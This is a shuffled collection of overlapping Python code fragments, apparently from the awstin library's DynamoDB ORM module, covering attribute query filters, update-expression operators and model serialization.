"isinstance(value, BaseAttribute): return itemize_attr(value) elif type(value) in [list, set, tuple]:",
"{}, \"ExpressionAttributeValues\": {name: value}, } else: name = \":\" +",
"} class IfNotExistsOperand(UpdateOperand): \"\"\" Set a value if the given",
"**ser_value[\"ExpressionAttributeValues\"], ), } class ListAppendOperand(UpdateOperand): \"\"\" Combine two lists \"\"\"",
"value.serialize() elif isinstance(value, BaseAttribute): return itemize_attr(value) elif type(value) in [list,",
"dict Kwargs for update_item \"\"\" update_dict = self.update_dict() result =",
"\"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ),",
"__getattr__(self, name): \"\"\" Support for nested mapping queries \"\"\" try:",
"no attribute {name!r}\" raise AttributeError(msg) setattr(self, name, value) @classmethod def",
"return Size(self._awstin_name) # --- Update expressions --- def set(self, expression):",
"NOT_SET) for name, value in kwargs.items(): if name not in",
"model_name in model_attrs.items(): value = getattr(self, model_name) if value is",
"v in value]) return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\":",
"part of a set attribute. Corresponds to DELETE as part",
"Parameters ---------- expression : UpdateOperand Value to delete \"\"\" return",
"exist on the model \"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute):",
"a value Parameters ---------- value : str Starting string for",
"name = \"#\" + str(uuid.uuid4())[:8] name_map[name] = section serialized_sections.append(name) serialized",
"return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def _index_kwargs(self): if hasattr(self, \"_index_name_\"):",
"Support for SET \"\"\" def __init__(self, attr, operand): self.attr =",
"Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value): \"\"\" Filter results",
"def size_query(self, *args, **kwargs): return BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type =",
"Result must contain this item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self):",
"attributes. \"\"\" model_attrs = type(self)._dynamodb_attributes().values() for name in model_attrs: setattr(self,",
"Any Allowed values of returned results \"\"\" in_values = [to_decimal(value)",
"on a data model is not present in a DynamoDB",
"Combine two update expressions \"\"\" return CombineOperator(self, other) @abstractmethod def",
"except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index): \"\"\" Support for",
"be inserted into DynamoDB. Internally converts float to Decimal. Returns",
"in sections: name = \"#\" + str(uuid.uuid4())[:8] name_map[name] = section",
"deserialization. Parameters ---------- data : dict of (str, Any) Serialized",
"right): self.left = left self.right = right def serialize(self): ser_left",
"class UpdateOperator(ABC): \"\"\" A representation of an UpdateItem expression \"\"\"",
"of an attribute on a data model is not present",
"ser_attr = serialize_operand(self.attr) ser_value = serialize_operand(self.value) expression = ( f\"if_not_exists({ser_attr['UpdateExpression']},",
"of an attribute \"\"\" return BotoAttr(self._awstin_name).exists() def in_(self, values): \"\"\"",
"return \"<<Attribute not set>>\" NOT_SET = NotSet() class BaseAttribute: def",
"letter == \"[\": parts.append(current_section) current_section = \"[\" elif letter ==",
"def attribute_type(self, value): \"\"\" Filter results by attribute type Parameters",
"in ``Table.update_item``. Parameters ---------- expression : UpdateOperand New value, or",
"expression = ( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" ) return { \"UpdateExpression\":",
"= right def update_dict(self): result = defaultdict(list) ser_left = self.left.update_dict()",
"attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class AddOperator(UpdateOperator): def __init__(self,",
"+ serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], }",
"\"\"\" _query_type = BotoKey class Attr(BaseAttribute): \"\"\" Used to define",
"\"REMOVE\": if update_dict.get(operation): expressions.append(operation + \" \" + \", \".join(update_dict[operation]))",
"parts.append(current_section) current_section = \"[\" elif letter == \"]\": parts.append(current_section +",
"else: current_section += letter if current_section: parts.append(current_section) serialized = \"\"",
"\"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } class IfNotExistsOperand(UpdateOperand): \"\"\" Set",
"Placeholder map for attribute values Returns ------- dict Kwargs for",
"as BotoAttr from boto3.dynamodb.conditions import Key as BotoKey from awstin.dynamodb.utils",
"= type(value)(to_decimal(v) for v in value) elif type(value) is dict:",
"indexes should also have an ``_index_name_`` attribute \"\"\" def __init__(self,",
"# Separate indexes parts = [] current_section = \"\" for",
"ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = ( f\"list_append({ser_left['UpdateExpression']},",
"def __eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value))",
"= getattr(self, model_name) if value is not NOT_SET: if type(value)",
"def update_dict(self): pass @staticmethod def update_expression(update_dict): expressions = [] for",
"= dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return result class SetOperator(UpdateOperator): \"\"\"",
"+= part else: if part.startswith(\".\"): serialized += \".\" part =",
"to the combination of two lists in an update expression",
": list of Any Allowed values of returned results \"\"\"",
"update expression in ``Table.update_item``. \"\"\" return RemoveOperator(self) def add(self, expression):",
"Separate attributes for part in parts: if \"[\" in part",
"NOT_SET) for db_attr, value in data.items(): if db_attr in model_attrs.keys():",
"def __init__(self, attr, operand): self.attr = attr self.operand = operand",
"Value to add \"\"\" return AddOperator(self, UpdateOperand(expression)) def delete(self, expression):",
"\"+\") def __rsub__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def if_not_exists(self,",
"{}, \"ExpressionAttributeValues\": {name: to_decimal(value)}, } def itemize_attr(attr): # Separate indexes",
": UpdateOperand New value, or an expression defining a new",
"passed to DynamoDB get attribute calls to employ a projection",
"queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query and scan filter",
"exist \"\"\" def __init__(self, attr, value): self.attr = attr self.value",
"AddOperator(self, UpdateOperand(expression)) def delete(self, expression): \"\"\" Delete part of a",
"( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\":",
"**ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return",
"a ``_table_name_`` attribute. Attributes making up the data model should",
"if isinstance(attr, BaseAttribute): attr._name_on_model = name return attr else: return",
"a value if the given attribute does not exist \"\"\"",
"Attr as BotoAttr from boto3.dynamodb.conditions import Key as BotoKey from",
"of returned results \"\"\" in_values = [to_decimal(value) for value in",
": str Starting string for returned results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value))",
"``_table_name_`` attribute. Attributes making up the data model should be",
"\"SET\": [ f\"{serialized_attr['UpdateExpression']} = \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names,",
"name value = type(value)([to_decimal(v) for v in value]) return {",
"class CombineOperand(UpdateOperand): \"\"\" Add or subtact two expressions \"\"\" def",
"string for returned results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low,",
"model_attrs = cls._dynamodb_attributes() result = cls() for attr in model_attrs.values():",
"is not present in a DynamoDB result \"\"\" def __str__(self):",
"attribute to a new value. Corresponds to SET as part",
"return dict( IndexName=self._index_name_, ) else: return {} class DynamoModel(metaclass=DynamoModelMeta): \"\"\"",
"IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute): \"\"\" Used to define and query",
"``Table.update_item``. Parameters ---------- expression : UpdateOperand Value to add \"\"\"",
"NotSet: \"\"\" A value of an attribute on a data",
"from abc import ABC, abstractmethod from collections import defaultdict from",
"update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\" ] return result",
"for update_item \"\"\" update_dict = self.update_dict() result = { \"UpdateExpression\":",
"], } class RemoveOperator(UpdateOperator): def __init__(self, attr): self.attr = attr",
"name = \":\" + name return { \"UpdateExpression\": name, \"ExpressionAttributeNames\":",
"parts = [] current_section = \"\" for letter in attr._awstin_name:",
"expression in ``Table.update_item``. \"\"\" return RemoveOperator(self) def add(self, expression): \"\"\"",
"attribute (numerical add or addition to a set). Corresponds to",
"two expressions \"\"\" def __init__(self, left, right, symbol): self.left =",
"DynamoDB result \"\"\" def __str__(self): return \"<<Attribute not set>>\" def",
"given attribute does not exist \"\"\" def __init__(self, attr, value):",
"IndexName=self._index_name_, ) else: return {} class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining",
"value = to_decimal(value) result[dynamo_name] = value return result # ----",
"Support for nested container queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # ---",
"not_exists(self): \"\"\" Filter results by non-existence of an attribute \"\"\"",
"doesn't exist on the model \"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class",
"on the model \"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute): \"\"\"",
"**kwargs : dict of (str, Any) Initialization of Attr and",
"Union[str, None] = None): \"\"\" Parameters ---------- attribute_name : str,",
"return SetOperator(self, UpdateOperand(expression)) def remove(self): \"\"\" Remove an attribute. Corresponds",
"value): self.attr = attr self.value = value def serialize(self): ser_attr",
"and scan filter expressions --- def begins_with(self, value): \"\"\" Filter",
"of an attribute \"\"\" return BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\" Filter",
"a set). Corresponds to ADD as part of the update",
"an ORM model for a DynamoDB table. Subclasses must have",
"Parameters ---------- value : str Starting string for returned results",
"Combine two update expressions \"\"\" def __init__(self, left, right): self.left",
"**ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), } class",
"serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class",
"update_expression(update_dict): expressions = [] for operation in \"SET\", \"ADD\", \"DELETE\",",
"serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {}, } return result class UpdateOperand:",
"} def itemize_attr(attr): # Separate indexes parts = [] current_section",
"self.attr = attr self.value = value def serialize(self): ser_attr =",
"model \"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute): \"\"\" Used to",
"begins_with(self, value): \"\"\" Filter results by a key or attribute",
"if \"[\" in part and \"]\" in part: serialized +=",
"type(value) in [list, set, tuple]: value = type(value)(from_decimal(v) for v",
"= left self.right = right self.symbol = symbol def serialize(self):",
"dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } def list_append(left, right): \"\"\" Set",
"to delete \"\"\" return DeleteOperator(self, UpdateOperand(expression)) def __add__(self, other): return",
"name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: value}, } else: name =",
"def __init__(self, attr): self.attr = attr def update_dict(self): serialized_attr =",
"JSON that can be inserted into DynamoDB. Internally converts float",
"return BotoAttr(self._awstin_name).exists() def in_(self, values): \"\"\" Filter results by existence",
"---------- expression : UpdateOperand Value to add \"\"\" return AddOperator(self,",
"str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand): return value.serialize() elif isinstance(value, BaseAttribute): return",
"part in parts: if \"[\" in part and \"]\" in",
"DeleteOperator(self, UpdateOperand(expression)) def __add__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def",
"to DynamoDB Table.update_item. Keys and values are: \"UpdateExpression\": string representing",
"return result def serialize(self): \"\"\" Serialize a DynamoModel subclass to",
"data model should be Attr or Key instances. Subclasses representing",
"serialized_sections = [] for section in sections: name = \"#\"",
"Serialized model Returns ------- DynamoModel The deserialized data model \"\"\"",
"type(value) in [list, set, tuple]: value = type(value)(to_decimal(v) for v",
"DynamoDB attribute type (e.g. \"N\" for Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value))",
"AddOperator(UpdateOperator): def __init__(self, attr, operand): self.attr = attr self.operand =",
"attributes for part in parts: if \"[\" in part and",
"in model_attrs.keys(): if type(value) in [list, set, tuple]: value =",
"= name return attr else: return attr def _dynamodb_attributes(self): result",
"\" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\":",
"nested container queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query and",
"= \"[\" elif letter == \"]\": parts.append(current_section + \"]\") current_section",
"else: return self._name_on_model def __getattr__(self, name): \"\"\" Support for nested",
"return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def __rsub__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self),",
"# --- Update expressions --- def set(self, expression): \"\"\" Set",
"Model self._name_on_model = None @property def _awstin_name(self): if self._attribute_name is",
"Class defining an ORM model for a DynamoDB table. Subclasses",
"in ``Table.update_item``. Parameters ---------- expression : UpdateOperand Value to delete",
"\"<<Attribute not set>>\" NOT_SET = NotSet() class BaseAttribute: def __init__(self,",
"self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value): return",
"or Key instances. Subclasses representing indexes should also have an",
"return { **self._dynamo_projection(), **self._index_kwargs(), } def _dynamo_projection(self): \"\"\" Attributes to",
"result = { \"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {}, }",
"boto3.dynamodb.conditions import Key as BotoKey from awstin.dynamodb.utils import from_decimal, to_decimal",
"add or addition to a set). Corresponds to ADD as",
"from_decimal(v) for k, v in value.items()} else: value = from_decimal(value)",
"values in items: if key in [\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]:",
"serialize_operand(self.attr) ser_value = serialize_operand(self.value) expression = ( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\"",
"left self.right = right self.symbol = symbol def serialize(self): ser_left",
"of two lists in an update expression \"\"\" return ListAppendOperand(UpdateOperand(left),",
"Any) Initialization of Attr and Key attributes. \"\"\" model_attrs =",
"\"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: value}, } else: name",
"class Size(BaseAttribute): _query_type = size_query class DynamoModelMeta(type): def __getattribute__(self, name):",
"def serialize(self): return serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\" Add or subtact",
"sort key attributes on a dynamodb table data model \"\"\"",
"set, tuple]: value = type(value)(from_decimal(v) for v in value) elif",
"to_decimal(value)}, } def itemize_attr(attr): # Separate indexes parts = []",
"ser_right = serialize_operand(self.right) expression = ( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" )",
"part and \"]\" in part: serialized += part else: if",
"self._attribute_name is not None: return self._attribute_name else: return self._name_on_model def",
"Separate indexes parts = [] current_section = \"\" for letter",
"in data.items(): if db_attr in model_attrs.keys(): if type(value) in [list,",
"result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] = dict(",
"\"\"\" Parameters ---------- **kwargs : dict of (str, Any) Initialization",
"self.value = value def serialize(self): return serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\"",
"= serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = ( f\"list_append({ser_left['UpdateExpression']}, \"",
"results by attribute type Parameters ---------- value : str Index",
"size(self): \"\"\" Filter by size of a collection \"\"\" return",
"model_attrs: msg = f\"{type(self)!r} has no attribute {name!r}\" raise AttributeError(msg)",
"= {to_decimal(k): to_decimal(v) for k, v in value.items()} else: value",
"current_section += letter if current_section: parts.append(current_section) serialized = \"\" name_map",
"def not_exists(self): \"\"\" Filter results by non-existence of an attribute",
"None] = None): \"\"\" Parameters ---------- attribute_name : str, optional",
"a collection \"\"\" return Size(self._awstin_name) # --- Update expressions ---",
"to_decimal(value) result[dynamo_name] = value return result # ---- Update Operators",
"attr, value): self.attr = attr self.value = value def serialize(self):",
"self.operand = operand def update_dict(self): serialized_attr = itemize_attr(self.attr) serialized_operand =",
"attribute on the DynamoModel class. \"\"\" # Set by user",
"Support for nested mapping queries \"\"\" try: return super().__getattr__(name) except",
"---------- value : str Index for a DynamoDB attribute type",
"model is not present in a DynamoDB result \"\"\" def",
"define and query hash and sort key attributes on a",
"serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\" Add or subtact two expressions \"\"\"",
"\"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class AddOperator(UpdateOperator): def __init__(self, attr,",
"\"\"\" Combine two update expressions \"\"\" def __init__(self, left, right):",
"set>>\" def __repr__(self): return \"<<Attribute not set>>\" NOT_SET = NotSet()",
"attribute_type(self, value): \"\"\" Filter results by attribute type Parameters ----------",
"self.left = left self.right = right def serialize(self): ser_left =",
"parts.append(current_section + \"]\") current_section = \"\" else: current_section += letter",
"index): \"\"\" Support for nested container queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\")",
"other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def __rsub__(self, other): return CombineOperand(UpdateOperand(other),",
"\"\"\" model_attrs = cls._dynamodb_attributes() result = cls() for attr in",
"that can be inserted into DynamoDB. Internally converts float to",
"result class SetOperator(UpdateOperator): \"\"\" Support for SET \"\"\" def __init__(self,",
": UpdateOperand Value to add \"\"\" return AddOperator(self, UpdateOperand(expression)) def",
"itemize_attr(self.attr) serialized_operand = self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], )",
"end of the range high : Any High end of",
"Add to an attribute (numerical add or addition to a",
"\"\"\" model_attrs = type(self)._dynamodb_attributes().values() for name in model_attrs: setattr(self, name,",
"attribute. Corresponds to DELETE as part of the update expression",
"does not exist \"\"\" def __init__(self, attr, value): self.attr =",
"left, right): self.left = left self.right = right def serialize(self):",
"= {} # Separate attributes for part in parts: if",
"name_map = {} # Separate attributes for part in parts:",
"list(ser_left.items()) + list(ser_right.items()) for key, values in items: if key",
"def _get_kwargs(self): \"\"\" Kwargs that should be passed to query,",
"(numerical add or addition to a set). Corresponds to ADD",
"to JSON that can be inserted into DynamoDB. Internally converts",
"Serialize a DynamoModel subclass to JSON that can be inserted",
"a DynamoDB table. Subclasses must have a ``_table_name_`` attribute. Attributes",
"*args, **kwargs): return BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type = size_query class",
"\"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"]",
"\"\"\" return BotoAttr(self._awstin_name).exists() def in_(self, values): \"\"\" Filter results by",
"Used to define and query hash and sort key attributes",
"results by range (inclusive) Parameters ---------- low : Any Low",
"), } class IfNotExistsOperand(UpdateOperand): \"\"\" Set a value if the",
"= itemize_attr(self.attr) return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {},",
"Delete part of a set attribute. Corresponds to DELETE as",
": Any Result must contain this item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value))",
"= ( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" ) return { \"UpdateExpression\": expression,",
"\".join(expressions) def serialize(self): \"\"\" Produce kwargs to be passed to",
"a value if this attribute doesn't exist on the model",
"== \"[\": parts.append(current_section) current_section = \"[\" elif letter == \"]\":",
"DynamoModel subclass to JSON that can be inserted into DynamoDB.",
"scan, get_item \"\"\" return { **self._dynamo_projection(), **self._index_kwargs(), } def _dynamo_projection(self):",
"The serialized JSON entry \"\"\" model_attrs = type(self)._dynamodb_attributes() result =",
"exists(self): \"\"\" Filter results by existence of an attribute \"\"\"",
"AttributeError(msg) setattr(self, name, value) @classmethod def deserialize(cls, data): \"\"\" Deserialize",
"\"N\" for Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value): \"\"\"",
"def __getattribute__(self, name): attr = super().__getattribute__(name) if isinstance(attr, BaseAttribute): attr._name_on_model",
"\"ExpressionAttributeValues\" ], } # ---- Update Operands def serialize_operand(value): name",
"data): \"\"\" Deserialize JSON into a DynamoModel subclass. Internally converts",
"\"\"\" Produce kwargs to be passed to DynamoDB Table.update_item. Keys",
"**ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return result",
"= attr self.value = value def serialize(self): ser_attr = serialize_operand(self.attr)",
"**ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } class",
"attribute beginning with a value Parameters ---------- value : str",
"dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def _index_kwargs(self): if hasattr(self, \"_index_name_\"): return",
"setattr(result, attr, NOT_SET) for db_attr, value in data.items(): if db_attr",
"elif type(value) is dict: value = {to_decimal(k): to_decimal(v) for k,",
"expression = ( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" ) return { \"UpdateExpression\":",
"return result class SetOperator(UpdateOperator): \"\"\" Support for SET \"\"\" def",
"\"\"\" return DeleteOperator(self, UpdateOperand(expression)) def __add__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other),",
"when retrieving data from DynamoDB Returns ------- dict kwargs to",
"= from_decimal(value) setattr(result, model_attrs[db_attr], value) return result def serialize(self): \"\"\"",
"dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \"",
"from boto3.dynamodb.conditions import Key as BotoKey from awstin.dynamodb.utils import from_decimal,",
"\"\"\" Filter results by existence of an attribute \"\"\" return",
"update expression in ``Table.update_item``. Parameters ---------- expression : UpdateOperand Value",
"\"\"\" _query_type = BotoAttr def size_query(self, *args, **kwargs): return BotoAttr(self._awstin_name).size()",
"DynamoModel subclass. Internally converts Decimal to float in the deserialization.",
"filter expressions --- def begins_with(self, value): \"\"\" Filter results by",
"Any High end of the range \"\"\" return self._query_type(self._awstin_name).between( to_decimal(low),",
"\"\"\" Set a value to the combination of two lists",
"---------- attribute_name : str, optional Name of the property in",
"} return result def _get_kwargs(self): \"\"\" Kwargs that should be",
"def serialize_operand(value): name = str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand): return value.serialize()",
"name = \":\" + name value = type(value)([to_decimal(v) for v",
"\"\"\" Filter results by non-existence of an attribute \"\"\" return",
"\"ExpressionAttributeValues\": {name: to_decimal(value)}, } def itemize_attr(attr): # Separate indexes parts",
"dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], )",
"current_section = \"[\" elif letter == \"]\": parts.append(current_section + \"]\")",
"dict: value = {to_decimal(k): to_decimal(v) for k, v in value.items()}",
"an update expression \"\"\" def __init__(self, value): self.value = value",
"= dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"DELETE\": [ f\"{serialized_attr['UpdateExpression']}",
"} class RemoveOperator(UpdateOperator): def __init__(self, attr): self.attr = attr def",
"be Attr or Key instances. Subclasses representing indexes should also",
"by Model self._name_on_model = None @property def _awstin_name(self): if self._attribute_name",
"in values] return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def",
"Low end of the range high : Any High end",
"and placeholders \"\"\" placeholders = { \"#\" + str(uuid.uuid4())[:8]: value",
"part of an update expression \"\"\" def __init__(self, value): self.value",
"collection \"\"\" return Size(self._awstin_name) # --- Update expressions --- def",
"\"\"\" Set an attribute to a new value. Corresponds to",
") return result class SetOperator(UpdateOperator): \"\"\" Support for SET \"\"\"",
"dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), }",
"serialize(self): \"\"\" Serialize a DynamoModel subclass to JSON that can",
"attribute. Corresponds to REMOVE as part of the update expression",
"self.right = right def update_dict(self): result = defaultdict(list) ser_left =",
"NOT_SET = NotSet() class BaseAttribute: def __init__(self, attribute_name: Union[str, None]",
"= serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = ( f\"{ser_left['UpdateExpression']} \"",
"\"-\") def if_not_exists(self, value): \"\"\" Conditionally return a value if",
"value = type(value)(to_decimal(v) for v in value) elif type(value) is",
"BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\" Filter",
"UpdateOperand New value, or an expression defining a new value",
"= [] for section in sections: name = \"#\" +",
"serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, } class DeleteOperator(UpdateOperator): def __init__(self, attr, operand):",
"the combination of two lists in an update expression \"\"\"",
"key or attribute beginning with a value Parameters ---------- value",
"if self._attribute_name is not None: return self._attribute_name else: return self._name_on_model",
"attribute \"\"\" return BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\" Filter by size",
"nested mapping queries \"\"\" try: return super().__getattr__(name) except AttributeError: return",
"is not None: return self._attribute_name else: return self._name_on_model def __getattr__(self,",
"ExpressionAttributeNames=placeholders, ) def _index_kwargs(self): if hasattr(self, \"_index_name_\"): return dict( IndexName=self._index_name_,",
"and query non-key attributes on a dynamodb table data model",
"class NotSet: \"\"\" A value of an attribute on a",
"def __init__(self, **kwargs): \"\"\" Parameters ---------- **kwargs : dict of",
"not set>>\" def __repr__(self): return \"<<Attribute not set>>\" NOT_SET =",
"results by non-existence of an attribute \"\"\" return BotoAttr(self._awstin_name).not_exists() def",
"--- def set(self, expression): \"\"\" Set an attribute to a",
"def update_dict(self): result = defaultdict(list) ser_left = self.left.update_dict() ser_right =",
"= self.left.update_dict() ser_right = self.right.update_dict() items = list(ser_left.items()) + list(ser_right.items())",
"def __init__(self, left, right, symbol): self.left = left self.right =",
"not present in a DynamoDB result \"\"\" def __str__(self): return",
"a dynamodb table data model \"\"\" _query_type = BotoKey class",
"= ( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" ) return { \"UpdateExpression\": expression,",
"**ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } def list_append(left,",
"Kwargs that should be passed to query, scan, get_item \"\"\"",
"to the name of the attribute on the DynamoModel class.",
"def __le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value): \"\"\" Filter",
"__init__(self, attr): self.attr = attr def update_dict(self): serialized_attr = itemize_attr(self.attr)",
"\"\"\" Support for nested container queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") #",
"list(ser_right.items()) for key, values in items: if key in [\"SET\",",
"\"\"\" Remove an attribute. Corresponds to REMOVE as part of",
"__init__(self, attribute_name: Union[str, None] = None): \"\"\" Parameters ---------- attribute_name",
"value \"\"\" return SetOperator(self, UpdateOperand(expression)) def remove(self): \"\"\" Remove an",
"= cls._dynamodb_attributes() result = cls() for attr in model_attrs.values(): setattr(result,",
"right def update_dict(self): result = defaultdict(list) ser_left = self.left.update_dict() ser_right",
"[] for operation in \"SET\", \"ADD\", \"DELETE\", \"REMOVE\": if update_dict.get(operation):",
"not in model_attrs: msg = f\"{type(self)!r} has no attribute {name!r}\"",
"Union from boto3.dynamodb.conditions import Attr as BotoAttr from boto3.dynamodb.conditions import",
"Value to delete \"\"\" return DeleteOperator(self, UpdateOperand(expression)) def __add__(self, other):",
"in model_attrs: msg = f\"{type(self)!r} has no attribute {name!r}\" raise",
"\"ExpressionAttributeValues\": Placeholder map for attribute values Returns ------- dict Kwargs",
"of the range \"\"\" return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), ) def",
"\"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: value}, } else: name = \":\"",
"v in value.items()} else: value = to_decimal(value) result[dynamo_name] = value",
"self.right.update_dict() items = list(ser_left.items()) + list(ser_right.items()) for key, values in",
"by range (inclusive) Parameters ---------- low : Any Low end",
"by a key or attribute beginning with a value Parameters",
